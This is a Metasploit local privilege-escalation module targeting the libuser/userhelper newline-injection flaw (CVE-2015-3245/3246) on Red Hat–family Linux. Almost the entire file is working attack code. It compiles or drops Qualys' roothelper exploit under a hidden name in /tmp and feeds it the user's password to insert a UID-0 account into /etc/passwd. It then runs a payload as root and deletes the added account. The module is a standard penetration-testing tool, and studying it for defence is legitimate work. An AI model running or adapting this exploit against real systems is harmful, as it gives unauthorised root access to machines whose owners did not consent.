##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Libuser roothelper Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on Red Hat based Linux
          systems, including RHEL, Fedora and CentOS, by exploiting a newline
          injection vulnerability in libuser and userhelper versions prior to
          0.56.13-8 and version 0.60 before 0.60-7.

          This module makes use of the roothelper.c exploit from Qualys to
          insert a new user with UID=0 in /etc/passwd.

          Note, the password for the current user is required by userhelper.

          Note, on some systems, such as Fedora 11, the user entry for the
          current user in /etc/passwd will become corrupted and exploitation
          will fail.

          This module has been tested successfully on libuser packaged versions
          0.56.13-4.el6 on CentOS 6.0 (x86_64);
          0.56.13-5.el6 on CentOS 6.5 (x86_64);
          0.60-5.el7 on CentOS 7.1-1503 (x86_64);
          0.56.16-1.fc13 on Fedora 13 (i686);
          0.59-1.fc19 on Fedora Desktop 19 (x86_64);
          0.60-3.fc20 on Fedora Desktop 20 (x86_64);
          0.60-6.fc21 on Fedora Desktop 21 (x86_64);
          0.60-6.fc22 on Fedora Desktop 22 (x86_64);
          0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
          0.60-5.el7 on Red Hat 7.0 (x86_64).

          RHEL 5 is vulnerable, however the installed version of glibc (2.5)
          is missing various functions required by roothelper.c.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # Discovery and C exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2015-07-24',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'EDB', '37706' ],
          [ 'CVE', '2015-3245' ],
          [ 'CVE', '2015-3246' ],
          [ 'BID', '76021' ],
          [ 'BID', '76022' ],
          [ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],
          [ 'URL', 'https://access.redhat.com/articles/1537873' ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_execute
            ]
          }
        },
        'Notes' => {
          'AKA' => ['roothelper.c'],
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def password
    datastore['PASSWORD'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def live_compile?
    compile = false

    if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
      if has_gcc?
        vprint_good 'gcc is installed'
        compile = true
      else
        unless datastore['COMPILE'].eql? 'Auto'
          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
        end
      end
    end

    compile
  end

  def check
    userhelper_path = '/usr/sbin/userhelper'
    return CheckCode::Safe("#{userhelper_path} file not found") unless file? userhelper_path
    return CheckCode::Safe("#{userhelper_path} is not setuid") unless setuid? userhelper_path

    vprint_good "#{userhelper_path} is setuid"

    unless command_exists? 'script'
      vprint_error 'script is not installed. Exploitation will fail.'
      return CheckCode::Safe
    end
    vprint_good 'script is installed'

    if immutable?('/etc/passwd')
      vprint_error 'File /etc/passwd is immutable'
      return CheckCode::Safe
    end
    vprint_good 'File /etc/passwd is not immutable'

    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Detected
    end

    # roothelper.c requires functions only available since glibc 2.6+
    if glibc_version < Rex::Version.new('2.6')
      vprint_error "GNU C Library version #{glibc_version} is not supported"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is supported"

    CheckCode::Detected
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"

    if live_compile?
      vprint_status 'Live compiling exploit on system...'

      # Upload Qualys' roothelper.c exploit:
      # - https://www.exploit-db.com/exploits/37706/
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
      fd = ::File.open path, 'rb'
      c_code = fd.read fd.stat.size
      fd.close
      upload "#{executable_path}.c", c_code
      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"

      unless output.blank?
        print_error output
        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
      end

      cmd_exec "chmod +x #{executable_path}"
      register_file_for_cleanup executable_path
    else
      vprint_status 'Dropping pre-compiled exploit on system...'

      # Cross-compiled with:
      # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
      fd = ::File.open path, 'rb'
      executable_data = fd.read fd.stat.size
      fd.close
      upload_and_chmodx executable_path, executable_data
    end

    # Run roothelper
    timeout = 180
    print_status "Launching roothelper exploit (Timeout: #{timeout})..."
    output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }

    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
      register_file_for_cleanup ::Regexp.last_match(1)
    end

    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
      fail_with Failure::NoAccess, 'Incorrect password'
    end

    @username = nil

    if output =~ /Exploit successful, run "su ([a-z])" to become root/
      @username = ::Regexp.last_match(1)
    end

    if @username.blank?
      fail_with Failure::Unknown, 'Something went wrong'
    end

    print_good "Success! User '#{@username}' added to /etc/passwd"

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
    register_file_for_cleanup 'typescript'
  end

  #
  # Remove new user from /etc/passwd
  #
  def on_new_session(session)
    new_user_removed = false

    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

      # Remove new user
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""

      # Wait for clean up
      Rex.sleep 5

      # Check for new user in /etc/passwd
      passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
      unless passwd_contents =~ /^#{@username}:/
        new_user_removed = true
      end
    elsif session.type.to_s.eql? 'shell'
      # Remove new user
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"

      # Check for new user in /etc/passwd
      passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
      unless passwd_user =~ /^#{@username}:/
        new_user_removed = true
      end
    end

    unless new_user_removed
      print_warning "Could not remove user '#{@username}' from /etc/passwd"
    end
  rescue StandardError => e
    print_error "Error during cleanup: #{e.message}"
  ensure
    super
  end
end
